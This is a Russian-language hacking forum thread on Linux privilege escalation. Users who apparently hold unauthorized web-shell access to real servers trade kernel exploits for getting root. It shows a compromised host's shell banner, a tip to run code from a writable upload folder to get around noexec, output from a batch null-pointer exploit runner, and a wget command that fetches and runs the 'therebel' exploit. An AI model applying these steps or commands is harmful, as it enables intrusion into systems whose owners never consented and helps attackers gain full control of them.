Вопросы : Повышение привилегий на Linux

[mythtrandyr]

Сообщение от Andrey1800

смените директорию, на вашей стоит noexec

Действительно помогло ) стрёмный админ попался на /tmp поставил noexec а на папку upload своего сайта(единственную открытую на запись папку) не поставил )

Спасибо за подсказку

[2FED]

Cwd: Linux server-web.*****.it 2.6.11-1.1369_FC4smp #1 SMP Thu Jun 2 23:08:39 EDT 2005 i686
48 ( apache ) Group: 48 ( apache )
5.2.6 Safe mode: OFF [ phpinfo ] Datetime: 2011-05-05 08:34:17

......

[snake]

в чем трабл?а что ты пробовал?или даже не так..а пробовал ли ты ЧТО-НИБУДЬ?))

[2FED]

Пробовал,несрабатывают.МБ админ изменил версию ядра умышленно.

[snake]

может ты все-таки перечислишь то,что пробовал,дабы другие не засоряли топик названиями методов,которые ты пробовал?
и\или покажешь ошибки,какие получал при использовании энлайтмента и т.п.?
cat /proc/version && cat /etc/issue

[3acuson]

Есть что-то под эту старушку?
Linux version 2.2.19-6.2.7smp (root@porky.devel.redhat.com) (gcc version egcs-2.
91.66 19990314/Linux (egcs-1.1.2 release)) #1 SMP Thu Jun 14 06:38:04 EDT 2001 i686

Пробивал ptrace24,mremap_pte и enlightenment(не скомпилился)

[b3]

3acuson

enlightenment(не скомпилился)

Что хоть пишет? Может у вас noexec на папке или в $PATH пусто, либо права нужны chmod +x на файлы в enlightenment. Пробывали https://rdot.org/forum/showthread.php?t=817 ?

ЗЫ Администрация добавьте в первый пост пару микро факов по поводу оформления постов в данной теме, типа вывод uname -a; mount; ls -lia /lib/libc* и тд.

[3acuson]

bash$ ./run_null_exploits.sh
./run_null_exploits.sh
Compiling exp_cheddarbay.c...OK.
Compiling exp_ingom0wnar.c...OK.
Compiling exp_moosecox.c...OK.
Compiling exp_paokara.c...OK.
Compiling exp_powerglove.c...OK.
Compiling exp_sieve.c...OK.
Compiling exp_therebel.c...failed.
Compiling exp_vmware.c...failed.
Compiling exp_wunderbar.c...failed.
./run_null_exploits.sh: ./exploit: No such file or directory

/dev/sda1 on / type ext2 (rw)
none on /proc type proc (rw)
/dev/sda6 on /home type ext2 (rw)
/dev/sda5 on /usr type ext2 (rw)
/dev/sda7 on /var type ext2 (rw)
/dev/sdb1 on /www type ext2 (rw)
none on /dev/pts type devpts (rw,gid=5,mode=620)
64427 -rwxr-xr-x 1 root root 4105868 Dec 8 2001 /lib/libc-2.1.3.
so
64397 lrwxrwxrwx 1 root root 13 Jul 3 2000 /lib/libc.so.6 -
> libc-2.1.3.so
64459 lrwxrwxrwx 1 root root 17 Jul 3 2000 /lib/libcom_err.
so.2 -> libcom_err.so.2.0
64460 -rwxr-xr-x 1 root root 8465 Feb 5 2000 /lib/libcom_err.
so.2.0
64431 -rwxr-xr-x 1 root root 66295 Dec 8 2001 /lib/libcrypt-2.
1.3.so
64399 lrwxrwxrwx 1 root root 17 Jul 3 2000 /lib/libcrypt.so
.1 -> libcrypt-2.1.3.so

Glibc тоже пробивал

[mythtrandyr]

Сообщение от 3acuson

Glibc тоже пробивал

Попробуй вот так:

PHP код:

wget http://grsecurity.net/~spender/therebel.tgz
tar -zxf therebel.tgz
cd therebel
./therebel.sh 


[3acuson]

походу прав не хватает
./therebel.sh
./therebel.sh: ./exploit: No such file or directory